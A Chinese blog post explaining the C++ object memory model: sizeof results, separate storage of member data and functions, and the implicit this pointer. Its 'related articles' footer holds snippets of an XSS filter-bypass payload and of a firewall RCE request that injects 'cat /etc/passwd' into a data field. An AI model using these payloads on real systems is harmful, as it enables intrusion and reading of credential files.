c++类对象内存模型(一)

C++对象模型可以概括为以下2部分:

1. 语言中直接支持面向对象程序设计的部分,主要涉及如构造函数、析构函数、虚函数、继承(单继承、多继承、虚继承)、多态等等。

2. 对于各种支持的底层实现机制。在c语言中,“数据”和“处理数据的操作(函数)”是分开来声明的,也就是说,语言本身并没有支持“数据和函数”之间的关联性。在c++中,通过抽象数据类型(abstract data type,ADT),在类中定义数据和函数,来实现数据和函数直接的绑定。

概括来说,在C++类中有两种成员数据:staticnonstatic;三种成员函数:staticnonstaticvirtual

1.基础知识

C++中的class从面向对象理论出发,将变量(属性)和函数(方法)集中定义在一起,用于描述现实世界中的类。从计算机的角度,程序依然由数据段和代码段构成。

C++编译器如何完成面向对象理论到计算机程序的转化?

换句话:C++编译器是如何管理类、对象、类和对象之间的关系

具体的说:具体对象调用类中的方法,那,c++编译器是如何区分,是那个具体的类,调用这个方法那?

思考一下以下代码:

#include <iostream>
using namespace std;

class C1
{
public:
    int i;  
    int j; 
    int k;  
protected:
private:
}; 

class C2
{
private:
    int i; 
    int j; 
    int k; 
    static int m; 
public:
    int getK() const { return k; } 
    void setK(int val) { k = val; }  
}; 

struct S1
{
    int i;
    int j;
    int k;
}; 

struct S2
{
    int i;
    int j;
    int k;
    static int m;
}; 

int main()
{
    cout << "c1:" << sizeof(C1) << endl;
    cout << "c2:" << sizeof(C2) << endl;
    cout << "s1:" << sizeof(S1) << endl;
    cout << "s2:" << sizeof(S2) << endl;
    system("pause");
}

考虑一下,上述的输出结果都为多少?通过执行,我们会发现结果全为12.为什么会这样呢?

是因为C++类对象中的成员变量和成员函数是分开存储的

  • 成员变量:
    普通成员变量:存储于对象中,与struct变量有相同的内存布局和字节对齐方式
    静态成员变量:存储于全局数据区中。

  • 成员函数:
    存储于代码段中。

通过上面,我们可以得知,成员变量(除静态变量外)都会拷贝一份存储在对象中。而成员函数在内存中,仅仅只有一份。那么问题就来,C++编译器是如何得知是对象obj1在调用func还是obj2在调用func呢?

换句话说:int getK() const { return k; },具体obj1、obj2、obj3对象是如何知道自己在调用自己的那个getK()函数呢?

接着往下看…

2.C++编译器对普通成员函数的内部处理

我们在类中定义了一个类成员函数,在执行编译阶段C++编译器会将类成员函数变形:

比如:

class Test
{
private:
    int i;  
public:
    Test(int j){
        i = j;
    }
}; 

上述代码在编译阶段,等价于如下:

struct Test
{
    int i;
};

void Test_init(Test *pthis, int j)
{
    pthis->i = j;
}

也就是给函数添加上一个指针变量,这个指针变量是指向对象本身的,当对象调用這个方法的时候,指针变量就指向了這个对象,从而完成了绑定操作,以后只要是這个对象在调用类成员函数,编译器就能很快知道。

这也就是C++中隐含的this指针的奥妙之处。

还有一点要注意:

C++中类的普通成员函数都隐式包含一个指向当前对象的this指针。

静态成员函数不包含指向具体对象的指针

3.this指针

类成员函数都默认隐含了一个this指针,作用是接受调用对象的地址;

this指针应用场景:

  • 若类成员函数的形参和类的属性,名字相同,通过this指针来解决。
  • 操作符重载!

4.其他

下面,我们来看一段代码

class Test
{
private:
    int i;  
public:
    Test(int i){
        this->i = i;
    }
    int getNum()const{ //这里的const修饰的是谁?
        return i;
    }
}; 

答案:this指针

我们来测试一下,编译直接报错

class Test
{
private:
    int i;  
public:
    Test(int i){
        this->i = i;
    }
    int getNum()const{
        this->i = 100;
    }
};

因此,可以证明我之前的答案!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/136333.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

PySide/PYQT如何用Qt Designer和代码来设置文字属性,如何设置文字颜色?

文章目录 📖 介绍 📖🏡 环境 🏡📒 实现方法 📒📝 Qt Designer设置📝 代码📖 介绍 📖 本人介绍如何使用Qt Designer/代码来设置字体属性(包含字体颜色) 🏡 环境 🏡 本文使用Pyside6来进行演示📒 实现方法 📒 📝 Qt Designer设置 首先打开Qt De…

VUE Slot

在某些场景中&#xff0c;我们可能想要为子组件传递一些模板片段&#xff0c;让子组件在它们的组件中渲染这些片段. <template><h3>ComponentA</h3><ComponentB><h3>插槽传递视图内容</h3></ComponentB> </template> <scr…

第6 章 布局管理及多窗口技术

6.1 控件布局技术 所谓GUI界面&#xff0c;归根结底&#xff0c;就是一堆可视化控件的叠加。创建一个窗口&#xff0c;把按钮放上面&#xff0c;把图标放上面&#xff0c;这样就成了一个界面。在放置时&#xff0c;控件的位置尤为重要。我们必须指定控件放在哪里&#xff0c;以…

JDK1.8 新特性(一)【默认方法、静态方法和Lambda表达式】

前言 今天学习Java8 新特性&#xff0c;主要是之前在学习 Scala、JavaFX 中遇到一些 Lambda 表达式&#xff0c;感觉 lambda 表达式确实很简洁&#xff0c;很有必要学一学。 目录 前言 1、接口的默认方法与静态方法 编写接口 编写接口的实现类 测试 2、Lambda表达式&am…

xsschallenge通关攻略详解

xsschallenge通过攻略 文章目录 xsschallenge通过攻略第一关第二关第三关第四关第五关第六关第七关第八关第九关第十关第十一关第十二关第十三关 简述 xsschallenge挑战攻略 ps: 终极测试代码 <sCr<ScRiPt>IPT>OonN"\/(hrHRefEF)</sCr</ScRiPt>IPT&g…

【Go入门】面向对象

【Go入门】面向对象 前面两章我们介绍了函数和struct&#xff0c;那你是否想过函数当作struct的字段一样来处理呢&#xff1f;今天我们就讲解一下函数的另一种形态&#xff0c;带有接收者的函数&#xff0c;我们称为method method 现在假设有这么一个场景&#xff0c;你定义…

2.4 - 网络协议 - TCP协议工作原理,报文格式,抓包实战,UDP报文,UDP检错原理

「作者主页」&#xff1a;士别三日wyx 「作者简介」&#xff1a;CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」&#xff1a;对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 TCP协议 1、TCP协议工作原理2、TCP协议报文格式3、…

Accelerate 0.24.0文档 一:极速入门

文章目录 一、概述1.1 PyTorch DDP1.2 Accelerate 分布式训练简介1.2.1 实例化Accelerator类1.2.2 将所有训练相关 PyTorch 对象传递给 prepare()方法1.2.3 启用 accelerator.backward(loss) 1.3 Accelerate 分布式评估1.4 accelerate launch 二、Accelerate 进阶2.1 notebook_…

Home Assistant使用ios主题更换背景

Home Assistant使用ios主题、更换背景 lovelace-ios-dark-mode-theme 默认前置情况&#xff0c;1、已安转HACS插件2、搜索安装 IOS Dark Mode Theme1&#xff09;第一、二步应该很容易实现&#xff0c;configuration.yaml文件很容易被找到2&#xff09;而本人在进行第三步操作时…

时间序列预测实战(十四)Transformer模型实现长期预测并可视化结果(附代码+数据集+原理介绍)

论文地址->Transformer官方论文地址 官方代码地址->暂时还没有找到有官方的Transformer用于时间序列预测的代码地址 个人修改地址-> Transformer模型下载地址CSDN免费 一、本文介绍 这篇文章给大家带来是Transformer在时间序列预测上的应用&#xff0c;这种模型最…

【数据结构】拓扑序列求法

概念不多说了&#xff0c;有疑问的搜一下&#xff0c;这里直接放求法&#xff1a; 找到入度为0的节点输出并删除该节点&#xff0c;并删除与该点链接的边重复第一步 例子 输出a&#xff0c;删除a输出b&#xff0c;删除b输出c&#xff0c;删除c 最终结果为abcdef 注意 拓扑排…

【python海洋专题四十五】海洋研究区域示意图

【python海洋专题四十五】海洋研究区域示意图 【python海洋专题四十五】海洋研究区域示意图 结果展示&#xff1a; 图片 往期推荐 图片 【python海洋专题一】查看数据nc文件的属性并输出属性到txt文件 【python海洋专题二】读取水深nc文件并水深地形图 【python海洋专…

【蓝桥杯选拔赛真题66】Scratch画图机器人 少儿编程scratch图形化编程 蓝桥杯创意编程选拔赛真题解析

目录 scratch画图机器人 一、题目要求 编程实现 二、案例分析 1、角色分析

OpenGL_Learn09(摄像机)

1. 摄像机环绕观察 texture两个文件以及shader就是之前的版本 #include <glad/glad.h> #include <GLFW/glfw3.h>#include <iostream> #include "stb_image.h" #include <cmath> #include "shader.h"#include <glm/glm.hpp>…

【见缝插针】射击类游戏-微信小程序项目开发流程详解

还记得小时候玩过的见缝插针游戏吗&#xff0c;比一比看谁插得针比较多&#xff0c;可有趣了&#xff0c;当然了&#xff0c;通过它可以训练自己的手速反应&#xff0c;以及射击水平&#xff0c;把握时机&#xff0c;得分越高就越有成就感&#xff0c;相信小朋友们会喜欢它的&a…

高效简洁的文档翻译网站

一款简单而强大的文档翻译网站 一款文字/文件翻译的网站,支持多个领域的翻译&#xff0c;支持常见的语言翻译(韩/日/法/英/俄/德…),最大百分比的保持原文排版(及个别除外基本100%还原)。 新用户注册就有100页的免费额度&#xff0c;每月系统还会随机赠送翻译额度&#xff0c;…

C#多线程入门概念及技巧

C#多线程入门概念及技巧 一、什么是线程1.1线程的概念1.2为什么要多线程1.3线程池1.4线程安全1.4.1同步机制1.4.2原子操作 1.5线程安全示例1.5.1示例一1.5.2示例二 1.6C#一些自带的方法实现并行1.6.1 Parallel——For、ForEach、Invoke1.6.1 PLINQ——AsParallel、AsSequential…

关于DataLoader是否shuffle在VOC2007语义分割数据集上引发的问题

问题描述&#xff1a; 在训练过程中&#xff0c;训练集和验证集实时得到的F1分数相差很大&#xff0c;如下图&#xff1a; 这个问题之前从未遇到过&#xff0c;后来经过不断的排查&#xff0c;发现是因为验证集的数据加载器中shuffle设置的为False&#xff0c;而训练集设置的为…

python工具网康下一代防火墙RCE

python漏洞利用​ 构造payload POST /directdata/direct/router HTTP/1.1{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/htm…

450. 删除二叉搜索树中的节点

题目描述 给定一个二叉搜索树的根节点 root 和一个值 key&#xff0c;删除二叉搜索树中的 key 对应的节点&#xff0c;并保证二叉搜索树的性质不变。返回二叉搜索树&#xff08;有可能被更新&#xff09;的根节点的引用。 一般来说&#xff0c;删除节点可分为两个步骤&#x…